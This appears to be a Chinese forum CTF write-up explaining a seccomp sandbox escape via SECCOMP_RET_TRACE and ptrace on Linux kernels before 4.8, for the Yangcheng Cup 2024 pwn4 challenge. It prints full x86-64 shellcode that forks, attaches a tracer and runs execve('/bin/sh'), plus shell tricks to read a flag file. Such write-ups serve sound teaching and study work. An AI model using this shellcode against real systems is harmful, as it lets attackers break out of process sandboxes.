return trace情况的沙盒逃逸(linux内核低于4.8版本)
sn0w 发表于 广东 二进制安全 480浏览 · 2024-10-18 04:02

原理讲解:

SECCOMP_RET_TRACE 是 seccomp 过滤器可以返回的一种动作值。其主要作用是在特定系统调用被触发时,通知一个基于 ptrace(2) 的追踪器(tracer)来处理该系统调用。具体机制如下:

  1. 过滤器配置
    • 进程设置 seccomp 过滤器,指定哪些系统调用应返回 SECCOMP_RET_TRACE
  2. 系统调用触发
    • 当受限进程执行一个被过滤器标记为SECCOMP_RET_TRAC的系统调用时,内核会进行以下操作:
      • 检查是否有一个通过 ptrace 附加的追踪器。
      • 如果存在追踪器,并且追踪器已通过 ptrace(PTRACE_SETOPTIONS) 请求了 PTRACE_O_TRACESECCOMP 选项,则内核发送一个 PTRACE_EVENT_SECCOMP 事件给追踪器。
      • 追踪器可以通过 PTRACE_GETEVENTMSG 获取 SECCOMP_RET_DATA 部分的数据,用于进一步的处理或决策。
    • 如果没有追踪器存在,内核不会执行该系统调用,并返回失败状态,同时将 errno 设置为 ENOSYS(系统调用未实现)。
  3. 追踪器的处理
    • 追踪器在接收到PTRACE_EVENT_SECCOMP事件后,可以选择以下操作:
      • 跳过系统调用:通过将系统调用号更改为 -1,请求内核跳过该系统调用。
      • 修改系统调用:将系统调用号更改为另一个合法的系统调用,以替代原请求。
      • 更改返回值:如果选择跳过系统调用,追踪器还可以指定一个返回值,内核将在受限进程中该系统调用的位置返回此值。
  4. 内核版本的影响
    • 在 Linux 内核版本 4.8 之前,seccomp 检查在追踪器通知后不会再次执行。这意味着如果存在一个恶意的追踪器,它可以利用 SECCOMP_RET_TRACE 来操纵或绕过 seccomp 过滤器,导致安全沙箱被破坏。

因此 绕过的原理为:

  1. 附加 Tracer:攻击者创建一个子进程(fork函数),并通过 ptrace(PTRACE_ATTACH, pid, 0, 0) 将父进程作为 Tracer 附加到子进程上。
  2. 拦截系统调用:当子进程执行被 Seccomp 过滤器标记为 SECCOMP_RET_TRACE 的系统调用时,内核会通知 Tracer。
  3. 修改系统调用:Tracers 可以通过 ptrace 接口修改被拦截的系统调用号,或请求跳过系统调用,从而绕过 Seccomp 的限制。
  4. 恢复执行:通过 ptrace(PTRACE_CONT, pid, 0, 0)(或类似函数)恢复子进程的执行,允许修改后的系统调用继续。

例题讲解:

ycb pwn4

这里基本ban 了 open openat 可以用openat2去打本地 但是这个题目的话 由于openat2是在内核版本4.8几之后才引入的,低版本的内核是没有这个的,所以远程是打不了的 只能打本地.

是libc2.36的堆题,存在uaf漏洞 走apple链,关键是沙盒这部分的绕过,所以关于攻击执行这部分省略 重点侧重在沙盒的绕过部分shellcode如下:这里参考下这位大佬的shellcode部分

羊城杯 2024 pwn writeup | Qanux's space

_start:

    /* Step 1: fork a new process */
    mov rax, 57             /* syscall number for fork (on x86_64) */
    syscall                 /* invoke fork() */

    test rax, rax           /* check if return value is 0 (child) or positive (parent) */
    js _exit                /* if fork failed, exit */

    /* Step 2: If parent process, attach to child process */
    cmp rax, 0              /* are we the child process? */
    je child_process        /* if yes, jump to child_process */

parent_process:
    /* Store child PID */
    mov r8,rax

    mov rsi, r8            /* rdi = child PID */

    /* Attach to child process */
    mov rax, 101            /* syscall number for ptrace */
    mov rdi, 0x10           /* PTRACE_ATTACH */
    xor rdx, rdx            /* no options */
    xor r10, r10            /* no data */
    syscall                 /* invoke ptrace(PTRACE_ATTACH, child_pid, 0, 0) */

monitor_child:
    /* Wait for the child to stop */

    mov rdi, r8            /* rdi = child PID */
    mov rsi, rsp            /*  no status*/
    xor rdx, rdx            /* no options */
    xor r10, r10            /* no rusage */
    mov rax, 61             /* syscall number for wait4 */
    syscall                 /* invoke wait4() */

    /* Set ptrace options */
    mov rax, 110
    syscall    
    mov rdi, 0x4200         /* PTRACE_SETOPTIONS */
    mov rsi, r8            /* rsi = child PID */
    xor rdx, rdx            /* no options */
    mov r10, 0x00000080     /* PTRACE_O_TRACESECCOMP */
    mov rax, 101            /* syscall number for ptrace */
    syscall                 /* invoke ptrace(PTRACE_SETOPTIONS, child_pid, 0, 0) */

    /* Allow the child process to continue */
    mov rax, 110
    syscall

    mov rdi, 0x7            /* PTRACE_CONT */
    mov rsi, r8            /* rsi = child PID */
    xor rdx, rdx            /* no options */
    xor r10, r10            /* no data */
    mov rax, 101            /* syscall number for ptrace */
    syscall                 /* invoke ptrace(PTRACE_CONT, child_pid, 0, 0) */

    /* Loop to keep monitoring the child */
    jmp monitor_child

child_process:
    /* Child process code here */
    /* For example, we could execute a shell or perform other actions */
    /* To keep it simple, let's just execute `/bin/sh` */

    /* sleep(5) */
    /* push 0 */
    push 1
    dec byte ptr [rsp]
    /* push 5 */
    push 5
    /* nanosleep(requested_time='rsp', remaining=0) */
    mov rdi, rsp
    xor esi, esi /* 0 */
    /* call nanosleep() */
    push SYS_nanosleep /* 0x23 */
    pop rax
    syscall

    mov rax, 0x{order2}  /* "/bin/sh" */
    push rax
    mov rax, 0x{order1}  /* "/bin/sh" */
    push rax
    mov rdi, rsp    
    mov rsi, 0
    xor rdx, rdx
    mov rax, 59             /* syscall number for execve */
    syscall
    jmp child_process

_exit:
    /* Exit the process */
    mov rax, 60             /* syscall number for exit */
    xor rdi, rdi            /* status 0 */
    syscall

简单来说 就是子进程一直在执行execve("/bin/sh")受限制的命令,然后return trace信号传给父进程进行处理绕过

具体流程解释

  1. *创建子进程
    • 使用 fork 系统调用创建一个子进程。
  2. 父进程附加到子进程
    • 父进程通过 ptrace(PTRACE_ATTACH, child_pid, 0, 0) 附加到子进程,使其成为 Tracer。
    • 设置 PTRACE_SETOPTIONS 以追踪 Seccomp 事件,特别是 PTRACE_O_TRACESECCOMP,以便在子进程触发 Seccomp 时接收到通知。
  3. 监控子进程的系统调用
    • 父进程进入循环,通过 wait4 等待子进程状态变化。
    • 当子进程执行被 Seccomp 筛选器标记为 SECCOMP_RET_TRACE 的系统调用时,内核会通知 Tracer(父进程)。
    • 父进程可以通过 ptrace 修改、跳过或允许这些系统调用,从而绕过 Seccomp 的限制。
  4. 子进程执行受限操作
    • 子进程尝试执行受限操作(如 execve("/bin/sh"))。
    • 由于 Seccomp 限制,该系统调用被标记为 SECCOMP_RET_TRACE,导致子进程被暂停,等待父进程处理。
  5. 父进程修改系统调用
    • 父进程通过 ptrace 改变系统调用的参数或其行为,使子进程能够成功执行原本被限制的操作。
  6. 恢复子进程执行
    • 父进程通过 ptrace(PTRACE_CONT, child_pid, 0, 0) 恢复子进程的执行,使其继续进行被修改后的系统调用。

可以成功拿到shell 但此时我们执行的指令本质上还是受到沙盒限制的,也就是说 我们不能直接执行ls或者cat flag这种因为这些指令本质上是要用到open哪些被禁用的指令

可以用echo * 来代替ls

用这种指令来获得flag

while IFS = read -r line
do
    echo "$line"
done < flag


参考文献 :
https://man7.org/linux/man-pages/man2/seccomp.2.html
羊城杯 2024 pwn writeup | Qanux's space

0 条评论
某人
表情
可输入 255